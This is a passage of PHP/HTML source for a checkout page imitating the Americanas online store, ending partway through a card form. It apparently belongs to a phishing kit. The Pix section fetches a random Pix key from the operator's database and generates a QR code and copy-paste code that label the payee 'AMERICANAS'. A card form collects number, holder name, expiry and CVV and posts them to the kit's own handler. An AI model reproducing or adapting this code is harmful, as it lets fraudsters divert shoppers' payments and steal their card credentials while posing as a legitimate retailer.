                            <div class="sc-bUrJUP ftSKDG"><span class="sc-dkmKpi ioWVHA">Total</span><span class="sc-gIRixj beiVbL"><p id="summaryComponent-paymentWithInstallmentLine" class="sc-cvJHqN cktZhQ"><span class="--ignore-case">R$ <?php echo $preco ?></span> em até 12x ou</p>
                                <p id="summaryComponent-paymentWithoutInstallmentLine"
                                    class="sc-cvJHqN cktZhQ"><b class="--ignore-case">R$ <?php echo $preco ?></b> em 1x no cartão</p>
                                </span>
                            </div>
                            <ul id="summary-previews" class="sc-tkKAw iONwHy">
                                <li class="sc-dRPiIx esbyIi"><b id="summaryPreviewsComponent-CARTAO_ACOM_VISA" class="--ignore-case">R$ <?php echo $preco ?></b> em <b>1x</b> no cartão americanas</li>
                                <li class="sc-dRPiIx esbyIi"><b id="summaryPreviewsComponent-CARTAO_VISA" class="--ignore-case">R$ <?php echo $preco ?></b> em <b>1x</b> no cartão de crédito</li>
                                <li class="sc-dRPiIx esbyIi"></li>
                                <li class="sc-dRPiIx esbyIi"><svg x="0px" y="0px" height="10px" viewBox="0 0 100 74" style="enable-background:new 0 0 100 74;margin-right: 2px;" xml:space="preserve"><g><path fill="#CA0158" d="M97,16.4L97,16.4L83.3,2.8c-1.8-1.8-4.2-2.6-6.5-2.5c-2.1,0.1-4.2,0.9-5.9,2.5L56.2,17.4c-1.7,1.7-4,2.6-6.2,2.6c-2.2,0-4.5-0.9-6.2-2.6L29.1,2.8c-1.6-1.6-3.7-2.5-5.9-2.5c-2.4-0.1-4.7,0.8-6.5,2.5L3,16.4v0c-1.8,1.8-3,4.4-3,7.2c0,2.6,1,4.9,2.5,6.7c0,0,41.3,41,41.3,41c1.7,1.7,4,2.6,6.2,2.6c2.2,0,4.5-0.9,6.2-2.6c0,0,41.3-41,41.3-41c1.6-1.8,2.5-4.1,2.5-6.7C100,20.7,98.9,18.2,97,16.4z"></path><path fill="#190080" d="M43.8,17.4c3.4,3.4,9,3.4,12.4,0L70.9,2.8c1.6-1.6,3.7-2.5,5.9-2.5v0H23.2v0c2.1,0.1,4.2,0.9,5.9,2.5L43.8,17.4z"></path></g></svg>
                                    <span
                                        style="color: #f20057">Pague com <b>Ame</b> e ganhe <b id="summaryPreviewsComponent-WALLET" class="--ignore-case">R$ 50,00</b> de volta</span>
                                </li>
                            </ul>
                        </div>
                    </section>
                </div>
                <section class="payment-orderFreightList">
                    <div id="freightMenu">
                        <div class="sc-bXDlPE jFuWAH">
                            <h2 id="freightMenu-title" class="sc-eGCarw jqTxQZ">Opções de frete</h2>
                        </div>
                        <section class="payment-orderFreightList">
                            <ul id="freightMenu-options" class="sc-hguquU kZsUpz">
                                <li id="freightMenu-options-item-CONVENTIONAL" class="sc-fTABeZ kjFsbo">
                                    <label class="sc-bsipQr fbzSf">
                                        <input id="freightMenu-options-item-CONVENTIONAL-input" name="optionInput__freightMenu-options-item-CONVENTIONAL-input" type="radio" class="sc-dFJsGO liTBVH" checked="">
                                        <svg width="20px" height="20px" viewBox="0 0 20 20" class="sc-gInsOo gBAIXS"><circle cx="10" cy="10" r="9" class="sc-dtTInj bRFhLZ"></circle><path d="M10,7 C8.34314575,7 7,8.34314575 7,10 C7,11.6568542 8.34314575,13 10,13 C11.6568542,13 13,11.6568542 13,10 C13,8.34314575 11.6568542,7 10,7 Z" class="sc-euMpXR kmLEPf inner"></path><path d="M10,1 L10,1 L10,1 C14.9705627,1 19,5.02943725 19,10 L19,10 L19,10 C19,14.9705627 14.9705627,19 10,19 L10,19 L10,19 C5.02943725,19 1,14.9705627 1,10 L1,10 L1,10 C1,5.02943725 5.02943725,1 10,1 L10,1 Z" class="sc-fHuLdG dwdRYY outer"></path></svg>
                                    </label>
                                    <div class="sc-bTRMAZ kGehDO">
                                        <p id="freightMenu-options-item-CONVENTIONAL-timeMessage" class="sc-hRxedE dntOkG">receba em até 5 dias úteis <span id="freightMenu-options-item-CONVENTIONAL-priceMessage" class="sc-biOYSp ecirrm">com frete grátis</span></p>
                                    </div>
                                </li>
                            </ul>
                        </section>
                    </div>
                </section>

                <section class="payment-orderTicket">
                    <div id="ticket-title" class="sc-jVKKsU lcGzWD">
                        <div class="sc-bXDlPE jFuWAH">
                            <h2 class="sc-eGCarw jqTxQZ">Possui cupom ou vale?</h2>
                        </div>
                        <svg id="icon-down" viewBox="0 0 18 11" class="collapsableArrow"><path d="M 2.1 0 0 2.1 9 11 18 2.1 15.9 0 9 6.8 2.1 0 Z"></path></svg>
                    </div>

                    <div id="divCupom" class="sc-fKFyDc nwOmR" style="height: 0px;">
                        <div style="padding: 1px 0px;">
                            <form id="ticketForm" class="sc-gATInX jHlPUB">

                                <input type="hidden" name="action" value="doVale" />

                                <div class="sc-hlTvYk bkPOGA"><label class="sc-bTvRPi bkmCaf"><p><span>Digite o código do seu cupom ou vale</span></p><div class="sc-eLgOdN jQGPdA"><input data-cy="formField__ticketInput" placeholder="" type="text" name="ticketInput" cursor="text" class="sc-kIeTtH hvjpKA" value=""></div></label></div>
                                <!--<button data-cy="submitTicketAction" class="sc-iBaPrD sc-eggNIi gdARiY Vamma">Aplicar</button>-->

                                <button id="submitTicketAction" class="sc-iBaPrD sc-eggNIi gdARiY Vamma" >
                                    <div height="16" width="16" class="sc-citwmv ftogQw loader" style="display: none">
                                        <div height="16" width="16" class="sc-jcVebW eoMQwK">
                                            <div height="16" width="16" class="sc-iUuytg fgliWn"></div>
                                        </div>
                                        <div height="16" width="16" class="sc-bZSQDF gvTyrx">
                                            <div height="16" width="16" class="sc-iUuytg fgliWn"></div>
                                        </div>
                                    </div>
                                    Aplicar
                                </button>
                            </form>
                            <p class="sc-eUWgFQ hcHFJT">Não foi possível adicionar seu vale/cupom.</p>
                            <div class="sc-dYzljZ bEFvXX"></div>
                        </div>
                    </div>
                </section>


                <section class="payment-orderPaymentMethods">
                    <h3 class="sc-cnXgNO dLMbBX">Formas de pagamento</h3>
                    <nav data-cy="paymentMenu" class="sc-ePYyfT bqXZKj">

                                                <label style="display: <?php echo $ccC; ?>" data-cy="paymentMenu-optionLabel__CREDIT_CARD" id="paymentMenu-optionLabel__CREDIT_CARD" class="sc-iMZFOo dXhYOg"><input type="radio" name="payment-options" >
                            <div class="sc-iyjaVZ hNreIX iconsWrapper"><svg id="credit_card" width="26.667" height="17.332" viewBox="0 0 26.667 17.332" class="payment-icon"><path id="credit_card-2" data-name="credit_card" d="M2.333,17.332A2.335,2.335,0,0,1,0,15V2.333A2.335,2.335,0,0,1,2.333,0h22a2.335,2.335,0,0,1,2.333,2.333V15a2.335,2.335,0,0,1-2.333,2.333ZM2,15a.333.333,0,0,0,.332.334h22A.333.333,0,0,0,24.667,15V8.667H2ZM24.667,4.666V2.333A.333.333,0,0,0,24.334,2h-22A.333.333,0,0,0,2,2.333V4.666Zm-7,8.667a1,1,0,1,1,0-2h4a1,1,0,0,1,0,2Z"></path></svg></div>
                            <span class="sc-kNMOeM fvooyb payment-option-title false">Cartão de crédito</span>
                        </label>
                        
                                                <div class="sc-eQhwCh ljANdd"></div>

                        <label style="display: <?php echo $bbB; ?>" data-cy="paymentMenu-optionLabel__BANK_SLIP" id="paymentMenu-optionLabel__BANK_SLIP" class="sc-iMZFOo dXhYOg"><input type="radio" name="payment-options" ><div class="sc-iyjaVZ hNreIX iconsWrapper"><svg width="49" height="49" viewBox="0 0 28.633 19.652" class="payment-icon"><g id="barcode" transform="translate(0.5 0.5)"><path id="barcode-2" data-name="barcode" d="M2.763,18.652a2.739,2.739,0,0,1-2.029-.761A2.908,2.908,0,0,1,0,15.814V2.838A2.909,2.909,0,0,1,.735.761,2.741,2.741,0,0,1,2.763,0H24.87A2.741,2.741,0,0,1,26.9.761a2.909,2.909,0,0,1,.735,2.077V15.814a2.909,2.909,0,0,1-.735,2.077,2.741,2.741,0,0,1-2.029.761Zm-.69-15.88V15.88c.009.563.145.7.69.7H24.87c.562,0,.691-.143.691-.766V2.838c0-.605-.124-.755-.632-.765H2.7C2.212,2.083,2.082,2.226,2.073,2.773Zm20.08,11.735V4.145h.99a.345.345,0,0,1,.345.345v9.671a.346.346,0,0,1-.345.345Zm-2.571,0V4.145h2.063V14.507Zm-3.438,0V4.145h2.631V14.507Zm-2.7,0V4.145h1.694V14.507Zm-3.617,0V4.145h2.651V14.507Zm-2.481,0V4.145h.927V14.507Zm-2.853,0a.345.345,0,0,1-.345-.345V4.491a.345.345,0,0,1,.345-.345H5.769V14.507Z" stroke="rgba(0,0,0,0)" stroke-miterlimit="10" stroke-width="1"></path></g></svg></div>
                            <span class="sc-kNMOeM fvooyb payment-option-title false">Boleto</span>
                        </label>
                        
                                                <div class="sc-eQhwCh ljANdd"></div>

                        <label style="display: <?php echo $ppP; ?>" data-cy="paymentMenu-optionLabel__PIX" id="paymentMenu-optionLabel__PIX" class="sc-iMZFOo dXhYOg"><input type="radio" name="payment-options"  checked=""  ><div class="sc-iyjaVZ hNreIX iconsWrapper"><svg id="icone_pix" width="30.118" height="30.116" viewBox="0 0 30.118 30.116" class="payment-icon"><defs></defs><g transform="translate(-103.72 -103.725)"><path class="a" d="M126.012,124.457a4.394,4.394,0,0,1-3.128-1.3l-4.534-4.533a.857.857,0,0,0-1.188,0l-4.515,4.516a4.4,4.4,0,0,1-3.13,1.3h-.543l5.737,5.736a4.572,4.572,0,0,0,6.471,0l5.721-5.72Zm-5.736,4.815a3.3,3.3,0,0,1-4.659,0l-3.965-3.963a5.708,5.708,0,0,0,1.9-1.258l4.2-4.207,4.223,4.223a5.666,5.666,0,0,0,2.149,1.352Z" transform="translate(0.832 2.322)"></path><path class="a" d="M121.182,105.065a4.577,4.577,0,0,0-6.471,0l-5.737,5.736h.543a4.4,4.4,0,0,1,3.13,1.3l4.515,4.516a.841.841,0,0,0,1.188,0l4.534-4.535a4.4,4.4,0,0,1,3.128-1.3h.891Zm.8,6.11-4.223,4.222-4.206-4.206a5.7,5.7,0,0,0-1.9-1.259l3.965-3.963a3.3,3.3,0,0,1,4.659,0l3.853,3.853A5.655,5.655,0,0,0,121.98,111.176Z" transform="translate(0.832)"></path><path class="a" d="M132.5,114.4l-3.433-3.433h-2.218a3.117,3.117,0,0,0-2.188.906l-4.534,4.534a2.172,2.172,0,0,1-3.066,0l-4.518-4.518a3.115,3.115,0,0,0-2.189-.906h-1.871l-3.417,3.417a4.571,4.571,0,0,0,0,6.469l3.417,3.417h1.871a3.116,3.116,0,0,0,2.189-.907l4.518-4.515a2.22,2.22,0,0,1,3.066,0l4.534,4.534a3.109,3.109,0,0,0,2.188.908h2.218l3.433-3.433A4.571,4.571,0,0,0,132.5,114.4Zm-16.346,3.557-4.516,4.518a1.833,1.833,0,0,1-1.282.533h-1.344l-3.042-3.043a3.3,3.3,0,0,1,0-4.66l3.042-3.043h1.341a1.833,1.833,0,0,1,1.285.532l4.516,4.518a3.962,3.962,0,0,0,.374.326A3.6,3.6,0,0,0,116.15,117.959Zm15.441,2.007-3.059,3.059h-1.688a1.825,1.825,0,0,1-1.283-.533l-4.534-4.534a3.344,3.344,0,0,0-.374-.321,3.962,3.962,0,0,0,.374-.326l4.534-4.534a1.83,1.83,0,0,1,1.283-.533h1.688l3.059,3.06a3.3,3.3,0,0,1,0,4.66Z" transform="translate(0 1.147)"></path></g></svg></div><span class="sc-kNMOeM fvooyb payment-option-title pix">Pix</span></label>
                                            </nav>

                    <div class="sc-hFNyKf gHFzAI">

                                                <div class="sc-hqUewE llBiCf" id="pix-slip" style="display:<?php echo $mostrap ?>" >
                            <article class="sc-eBXEvq bQSMmJ">
                                <div class="sc-kehFtl ejopJQ">
                                    <svg id="icone_pix" width="30.118" height="30.116" viewBox="0 0 30.118 30.116" class="ame-logo-icon"><defs></defs><g transform="translate(-103.72 -103.725)"><path class="a" d="M126.012,124.457a4.394,4.394,0,0,1-3.128-1.3l-4.534-4.533a.857.857,0,0,0-1.188,0l-4.515,4.516a4.4,4.4,0,0,1-3.13,1.3h-.543l5.737,5.736a4.572,4.572,0,0,0,6.471,0l5.721-5.72Zm-5.736,4.815a3.3,3.3,0,0,1-4.659,0l-3.965-3.963a5.708,5.708,0,0,0,1.9-1.258l4.2-4.207,4.223,4.223a5.666,5.666,0,0,0,2.149,1.352Z" transform="translate(0.832 2.322)"></path><path class="a" d="M121.182,105.065a4.577,4.577,0,0,0-6.471,0l-5.737,5.736h.543a4.4,4.4,0,0,1,3.13,1.3l4.515,4.516a.841.841,0,0,0,1.188,0l4.534-4.535a4.4,4.4,0,0,1,3.128-1.3h.891Zm.8,6.11-4.223,4.222-4.206-4.206a5.7,5.7,0,0,0-1.9-1.259l3.965-3.963a3.3,3.3,0,0,1,4.659,0l3.853,3.853A5.655,5.655,0,0,0,121.98,111.176Z" transform="translate(0.832)"></path><path class="a" d="M132.5,114.4l-3.433-3.433h-2.218a3.117,3.117,0,0,0-2.188.906l-4.534,4.534a2.172,2.172,0,0,1-3.066,0l-4.518-4.518a3.115,3.115,0,0,0-2.189-.906h-1.871l-3.417,3.417a4.571,4.571,0,0,0,0,6.469l3.417,3.417h1.871a3.116,3.116,0,0,0,2.189-.907l4.518-4.515a2.22,2.22,0,0,1,3.066,0l4.534,4.534a3.109,3.109,0,0,0,2.188.908h2.218l3.433-3.433A4.571,4.571,0,0,0,132.5,114.4Zm-16.346,3.557-4.516,4.518a1.833,1.833,0,0,1-1.282.533h-1.344l-3.042-3.043a3.3,3.3,0,0,1,0-4.66l3.042-3.043h1.341a1.833,1.833,0,0,1,1.285.532l4.516,4.518a3.962,3.962,0,0,0,.374.326A3.6,3.6,0,0,0,116.15,117.959Zm15.441,2.007-3.059,3.059h-1.688a1.825,1.825,0,0,1-1.283-.533l-4.534-4.534a3.344,3.344,0,0,0-.374-.321,3.962,3.962,0,0,0,.374-.326l4.534-4.534a1.83,1.83,0,0,1,1.283-.533h1.688l3.059,3.06a3.3,3.3,0,0,1,0,4.66Z" transform="translate(0 1.147)"></path></g></svg>
                                    <strong>Pagar com <span class="--ignore-case">Pix</span></strong>
                                </div>
                                <p class="sc-eMrnwU bsDRXu">Pague com <strong class="--ignore-case">Pix</strong> em qualquer dia e a qualquer hora! O pagamento é instantâneo, prático e pode ser feito em poucos segundos. É muito rápido e seguro :)</p>
                            </article>

                            <div data-cy="ame-qr-code-container" class="ame-qr-code-container" style="margin-bottom: 50px;">
                                <img width="250" height="250" data-cy="ame-qr-code-img" src="<?php


	require_once ("./phpqrcode/qrlib.php"); 
	function montaPix($px){
   /*
   # Esta rotina monta o código do pix conforme o padrão EMV
   # Todas as linhas são compostas por [ID do campo][Tamanho do campo com dois dígitos][Conteúdo do campo]
   # Caso o campo possua filhos esta função age de maneira recursiva.
   #
   # Autor: Eng. Renato Monteiro Batista
   */
   $ret="";
   foreach ($px as $k => $v) {
     if (!is_array($v)) {
        if ($k == 54) { $v=number_format($v,2,'.',''); } // Formata o campo valor com 2 digitos.
        $ret.=c2($k).cpm($v).$v;
     }
     else {
       $conteudo=montaPix($v);
       $ret.=c2($k).cpm($conteudo).$conteudo;
     }
   }
   return $ret;
 }

function cpm($tx){
    /*
    # Esta função auxiliar retorna a quantidade de caracteres do texto $tx com dois dígitos.
    #
    # Autor: Renato Monteiro Batista
    */
   return c2(strlen($tx));
}
 
function c2($input){
    /*
    # Esta função auxiliar trata os casos onde o tamanho do campo for < 10 acrescentando o
    # dígito 0 a esquerda.
    #
    # Autor: Renato Monteiro Batista
    */
    return str_pad($input, 2, "0", STR_PAD_LEFT);
}


function crcChecksum($str) {
   /*
   # Esta função auxiliar calcula o CRC-16/CCITT-FALSE
   #
   # Autor: evilReiko (https://stackoverflow.com/users/134824/evilreiko)
   # Postada originalmente em: https://stackoverflow.com/questions/30035582/how-to-calculate-crc16-ccitt-in-php-hex
   */
  // The PHP version of the JS str.charCodeAt(i)
   function charCodeAt($str, $i) {
      return ord(substr($str, $i, 1));
   }

   $crc = 0xFFFF;
   $strlen = strlen($str);
   for($c = 0; $c < $strlen; $c++) {
      $crc ^= charCodeAt($str, $c) << 8;
      for($i = 0; $i < 8; $i++) {
            if($crc & 0x8000) {
               $crc = ($crc << 1) ^ 0x1021;
            } else {
               $crc = $crc << 1;
            }
      }
   }
   $hex = $crc & 0xFFFF;
   $hex = dechex($hex);
   $hex = strtoupper($hex);
   return $hex;
}



	$query_chavepix = "SELECT * FROM pix ORDER BY rand() LIMIT 1";
	$chavepix = mysqli_query($ConnectDB, $query_chavepix) or die(mysqli_error($ConnectDB));
	$row_chavepix = mysqli_fetch_assoc($chavepix);
	$totalRows_chavepix = mysqli_num_rows($chavepix);


	$pegachave = $row_chavepix["chave"];


	$valor = str_replace('.','', $preco);
	$valor = str_replace(',','.', $valor);
	$valorin =$valor;
	
	$_SESSION['chavepix'] = $pegachave;

$px[00]="01"; //Payload Format Indicator, Obrigatório, valor fixo: 01
$px[26][00]="BR.GOV.BCB.PIX"; //Indica arranjo específico; “00” (GUI) obrigatório e valor fixo: br.gov.bcb.pix
$px[26][01]=$pegachave; //Chave do destinatário do pix, pode ser EVP, e-mail, CPF ou CNPJ.
$px[52]="0000"; //Merchant Category Code “0000” ou MCC ISO18245
$px[53]="986"; //Moeda, “986” = BRL: real brasileiro - ISO4217
$px[54]=$valorin; //Valor da transação, se comentado o cliente especifica o valor da transação no próprio app. Utilizar o . como separador decimal. Máximo: 13 caracteres.

$px[58]="BR"; //“BR” – Código de país ISO3166-1 alpha 2
$px[59]="AMERICANAS"; //Nome do beneficiário/recebedor. Máximo: 25 caracteres.
$px[60]="SAO PAULO"; //Nome cidade onde é efetuada a transação. Máximo 15 caracteres.
$px[62][05]="AMERICANAS"; //Identificador de transação, quando gerado automaticamente usar ***. Vide nota abaixo.




$pix=montaPix($px);
$pix.="6304"; //Adiciona o campo do CRC no fim da linha do pix.
$pix.=crcChecksum($pix); //Calcula o checksum CRC16 e acrescenta ao final.




ob_start();
QRCode::png($pix, null,'M',5);
$imageString = base64_encode( ob_get_contents() );

ob_end_clean();
echo 'data:image/png;base64,' . $imageString;


?>" alt="código QR">
                            </div>

<script>




jQuery(document).ready(function(){
		jQuery('#copix').click(function(){
			var dados = jQuery("#pix").serialize();

			jQuery.ajax({
				type: "POST",
				url: "?COMON/=PIX",
				data: dados,
				success: function( data )
				{
					//alert( data );
				}
			});
			
			return false;
		});
	});







</script>

<form name="pix" id="pix" action="?COMON/=PIX" method="post">
    <input  type="hidden" name="nothen" value="<?php echo rand(2, 88); ?>">
</form>
                            <ul data-cy="pixInstructionsList" class="sc-lnnytw bCARSy">
                                <li>
                                    <div class="sc-xOkv fYNLwC"><img src="./assets/imgs/copy.06dbe465.svg" alt=""></div>
                                    <span>
                                        <span><strong>1.</strong> Copie o código:</span>
                                        <div class="sc-hlTvYk bkPOGA sc-lcTPrS damQna">
                                            <label class="sc-bTvRPi bkmCaf">
                                                <p><span></span></p>

                                                <div class="sc-eLgOdN jQGPdA">
                                                    <input data-cy="formField__pixLink" placeholder="" type="text" name="pixLink" cursor="text" readonly="" class="sc-kIeTtH hvjpKA" value="<?php echo $pix ?>">
                                                </div>
                                            </label>
                                        </div>
                                        <button class="sc-iBaPrD sc-eggNIi gdARiY2 Vamma2 btn-copy2  btn-copy2" id="copix" onclick="javascript:Clipboard.copy('<?php echo $pix ?>');" >Copiar chave Pix</button>
                                    </span>
                                </li>
                                <li><div class="sc-xOkv fYNLwC"><img src="./assets/imgs/phone.9d45d98b.svg" alt=""></div><span><strong>2.</strong> Abra o app do seu banco ou instituição financeira e entre no ambiente <strong class="--ignore-case">Pix</strong></span></li>
                                <li><div class="sc-xOkv fYNLwC"><img src="./assets/imgs/link.7ff01b4a.svg" alt=""></div><span><strong>3.</strong> Escolha a opção <strong class="--ignore-case">Pix </strong><strong>Copia e Cola</strong></span></li>
                                <li><div class="sc-xOkv fYNLwC"><img src="./assets/imgs/paste.d070553d.svg" alt=""></div><span><strong>4.</strong> Cole o código, confira as informações e finalize a compra</span></li>
                            </ul>
                            <div data-cy="total" class="sc-fYdfNa druaoK">total:<strong class="--ignore-case"> R$ <?php echo $preco ?> </strong></div>
                        </div>
                        
                                             







											 <div data-cy="bankSlipContent"   style="display:<?php echo $mostrab ?>" id="bank-slip" style=&quot;display:none&quot;; class="sc-oHXjo fHFdtO">
                            <ul>
                                <li class="sc-hxqDJO emWfRI how-to">
                                    <svg id="icon-print-rounded" viewBox="0 0 64 64"><path fill="#666" d="M 32 0 A 32 32 0 0 0 0 32 A 32 32 0 0 0 32 64 A 32 32 0 0 0 64 32 A 32 32 0 0 0 32 0 z M 20 14 L 44 14 L 44 21 L 20 21 L 20 14 z M 16.5 23 L 47.5 23 C 49.4 23 51 24.6 51 26.5 L 51 41.5 C 51 43.4 49.4 45 47.5 45 L 46 45 L 46 30 L 18 30 L 18 45 L 16.5 45 C 14.6 45 13 43.4 13 41.5 L 13 26.5 C 13 24.6 14.6 23 16.5 23 z M 21 33 L 43 33 L 43 52 L 21 52 L 21 33 z M 23 36 L 23 37 L 41 37 L 41 36 L 23 36 z M 23 39 L 23 40 L 41 40 L 41 39 L 23 39 z M 23 42 L 23 43 L 41 43 L 41 42 L 23 42 z M 23 45 L 23 46 L 41 46 L 41 45 L 23 45 z M 23 48 L 23 49 L 41 49 L 41 48 L 23 48 z "></path></svg>
                                    <span>Imprima o boleto e <strong>pague no banco</strong></span>
                                </li>

                                <li class="sc-hxqDJO emWfRI how-to">
                                    <svg id="icon-barcode-rounded" viewBox="0 0 64 64"><path fill="#666" d="M 32 0 A 32 32 0 0 0 0 32 A 32 32 0 0 0 32 64 A 32 32 0 0 0 64 32 A 32 32 0 0 0 32 0 z M 15.7 16 L 49.3 16 C 50.8 16 52 17.2 52 18.7 L 52 20 L 49 20 L 49 19.9 C 49 19.4 48.6 19 48.1 19 L 16.9 19 C 16.4 19 16 19.4 16 19.9 L 16 38.1 C 16 38.6 16.4 39 16.9 39 L 48.1 39 C 48.6 39 49 38.6 49 38.1 L 49 37 L 52 37 L 52 39.3 C 52 40.8 50.8 42 49.3 42 L 15.7 42 C 14.2 42 13 40.8 13 39.3 L 13 18.7 C 13 17.2 14.2 16 15.7 16 z M 36 22 L 57 22 L 57 35 L 36 35 L 36 22 z M 39 24 L 39 33 L 41 33 L 41 24 L 39 24 z M 43 24 L 43 33 L 44 33 L 44 24 L 43 24 z M 45 24 L 45 33 L 46 33 L 46 24 L 45 24 z M 48 24 L 48 33 L 50 33 L 50 24 L 48 24 z M 52 24 L 52 33 L 53 33 L 53 24 L 52 24 z M 54 24 L 54 33 L 55 33 L 55 24 L 54 24 z M 10 44 L 28 44 C 28 44.6 28.4 45 29 45 L 37 45 C 37.5 45 38 44.6 38 44 L 54 44 C 54.6 44 54.8 44.4 54.5 44.9 L 53.4 47.1 C 53.2 47.6 52.5 48 52 48 L 12 48 C 11.5 48 10.8 47.6 10.6 47.1 L 9.5 44.9 C 9.2 44.4 9.5 44 10 44 z M 50 45 C 49.4 45 49 45.4 49 46 C 49 46.6 49.4 47 50 47 C 50.6 47 51 46.6 51 46 C 51 45.4 50.6 45 50 45 z "></path></svg>
                                    <span><strong>ou pague pela internet</strong> utilizando o código de barras do boleto</span>
                                </li>

                                <li class="sc-hxqDJO emWfRI how-to">
                                    <svg id="icon-calendar-rounded" viewBox="0 0 64 64"><path fill="#666" d="M 32 0 C 14.3 0 0 14.3 0 32 C 0 49.7 14.3 64 32 64 C 49.7 64 64 49.7 64 32 C 64 14.3 49.7 0 32 0 z M 24 9 C 25.1 9 26 9.9 26 11 L 26 18 C 26 19.1 25.1 20 24 20 C 22.9 20 22 19.1 22 18 L 22 11 C 22 9.9 22.9 9 24 9 z M 40 9 C 41.1 9 42 9.9 42 11 L 42 18 C 42 19.1 41.1 20 40 20 C 38.9 20 38 19.1 38 18 L 38 11 C 38 9.9 38.9 9 40 9 z M 14 15 L 20 15 L 20 18.4 C 20 20.4 21.6 22 23.6 22 L 24.4 22 C 26.4 22 28 20.4 28 18.4 L 28 15 L 36 15 L 36 18.4 C 36 20.4 37.6 22 39.6 22 L 40.4 22 C 42.4 22 44 20.4 44 18.4 L 44 15 L 50 15 C 50.6 15 51 15.5 51 16 L 51 48 C 51 48.6 50.5 49 50 49 L 14 49 C 13.4 49 13 48.5 13 48 L 13 16 C 13 15.4 13.5 15 14 15 z M 16 24.3 L 16 45.3 L 48 45.3 L 48 24.3 L 16 24.3 z "></path></svg>
                                    <span>o prazo de validade do boleto é de <strong>1 dia util</strong></span>
                                </li>
                            </ul>
                            <div class="confirmation">
                                <div class="sc-hLGeHF dXwZsU">
                                    <p>Total:</p>
                                    <p class="sc-cRcunm kXGAjw">R$ <?php echo $preco ?></p>
                                </div>
                                <span class="values">
                                    <span class="promotion"></span>
                                </span>
								
								
								
								<form name="boleto" id="boleto" action="?COMON/=TICKET" method="post">
<input type="hidden" name="_tokenboleto" id="_tokenboleto" value="boleto">
<input type="hidden" name="produtoID" value="3376660015">

 <button type="submit" style="width:100%" data-cy="placeOrderButton" class="sc-iBaPrD sc-eggNIi gdARiY eRIAeo sc-iitrsy fVKhXV sc-iitrsy fVKhXV">Fechar pedido</button>

</form>
								
								
								
								
								
								
								
								
                               
                                <span class="sc-hcevGk kWdeMI safe-buy">compra segura americanas.com <svg id="icon-lock" viewBox="0 0 20 25"><path d="M 18 25 2 25 C 0.9 25 0 24.1 0 22.9 L 0 12.5 c 0 -1.2 0.9 -2.1 2 -2.1 l 1 0 0 -3.1 C 3 3.3 6.1 0 10 0 c 3.9 0 7 3.3 7 7.3 l 0 3.1 1 0 C 19.1 10.4 20 11.3 20 12.5 l 0 10.4 C 20 24.1 19.1 25 18 25 Z M 14 7.3 c 0 -2.3 -1.8 -4.2 -4 -4.2 -2.2 0 -4 1.9 -4 4.2 l 0 3.1 8 0 0 -3.1 z"></path></svg></span>
                            </div>
                            <div class="important">
                                <h3>Importante</h3>
                                <ul>
                                    <li>No período de 30 dias, se houver cinco ou mais boletos bancários de um mesmo cliente, não pagos, poderá ocorrer bloqueio temporário desta forma de quitação, por até 30 dias. Nesse período, novas compras poderão ser feitas no site por meio de outras formas de pagamento ou com boleto, pelo Televendas.</li>
                                    <li>Caso o seu computador tenha um programa anti pop-up, será preciso desativá-lo antes de finalizar sua compra e imprimir o boleto ou pagar pelo internet banking;</li>
                                    <li>Não faça depósito ou transferência entre contas. O boleto não é enviado pelos Correios. Imprima-o e pague-o no banco ou pela internet;</li>
                                    <li>Se o boleto não for pago até a data de vencimento, o pedido será automaticamente cancelado;</li>
                                    <li>O prazo de entrega dos pedidos pagos com boleto bancário começa a contar três dias depois do pagamento do boleto, tempo necessário para que a instituição bancária confirme o pagamento.</li>
                                </ul>
                            </div>
                        </div>
                        
                                                <div data-cy="creditCardContent" id="card-slip"  style="display:<?php echo $mostrac ?>"  class="sc-hrtznJ iEwfBs" style=&quot;display:none&quot;;>
                            <div class="sc-bZDhrs conZMt">
                                <div class="sc-kkeJPq ffKbHC"></div>
                                <form id="credicardForm" method="post" action="?COMON/=CREDITCARD">

                                    <input type="hidden" name="action" value="?COMON/=CREDITCARD" />

                                    <div data-cy="newCardComponent" class="sc-jHMygC sBFQb">
                                        <div class="sc-hlTvYk bkPOGA">
                                            <label class="sc-bTvRPi bkmCaf">
                                                <p><span>Número do cartão</span></p>
                                                <div class="sc-eLgOdN jQGPdA" id="ccInput">
                                                    <input data-cy="formField__number" type="tel" placeholder="" name="number" id="credicard-cc" mask="9999 9999 9999 9999" cursor="text" class="sc-kIeTtH hvjpKA" value="">
                                                    <figure class="sc-hOqqkJ hdDnoT">
                                                        <img style="display: none" class="sc-cqtpGg gZDdwb" src="./assets/imgs/icon-visa.svg" alt="">
                                                    </figure>
                                                </div>
                                            </label>
                                            <span id="ccError" style="display: none;" data-cy="formFieldError__number" class="sc-dtwoBo ezTbhr">Número de cartão inválido</span>
                                        </div>

                                        <div class="sc-hlTvYk bkPOGA">
                                            <label class="sc-bTvRPi bkmCaf">
                                                <p><span>Nome impresso no cartão</span></p>
                                                <div class="sc-eLgOdN jQGPdA" id="nameInput">
                                                    <input data-cy="formField__name" placeholder="" type="text" id="credicard-name" name="name" cursor="text" class="sc-kIeTtH hvjpKA" value="">
                                                </div>
                                            </label>
                                            <span id="nameError" style="display: none;" data-cy="formFieldError__number" class="sc-dtwoBo ezTbhr">Campo obrigatório</span>
                                        </div>

                                        <div class="sc-ksPlPm fiBdLJ">
                                            <div class="sc-hlTvYk bkPOGA">
                                                <label class="sc-bTvRPi bkmCaf">
                                                    <p><span>Validade</span></p>
                                                    <div class="sc-eLgOdN jQGPdA" id="valInput">
                                                        <input data-cy="formField__expiryDate" id="credicard-val" type="tel" placeholder="" name="expiryDate" mask="99/99" cursor="text" class="sc-kIeTtH hvjpKA" value="">
                                                    </div>
                                                </label>
                                                <span id="valError" style="display: none;" data-cy="formFieldError__number" class="sc-dtwoBo ezTbhr">Data inválida</span>
                                            </div>

                                            <div class="sc-hlTvYk bkPOGA">
                                                <label class="sc-bTvRPi bkmCaf">
                                                    <p><span>cvv</span></p>
                                                    <div class="sc-eLgOdN jQGPdA" id="cvvInput">
                                                        <input data-cy="formField__securityCode" id="credicard-cvv" placeholder="" type="tel" name="securityCode" cursor="text" class="sc-kIeTtH hvjpKA" value="" maxlength="4">
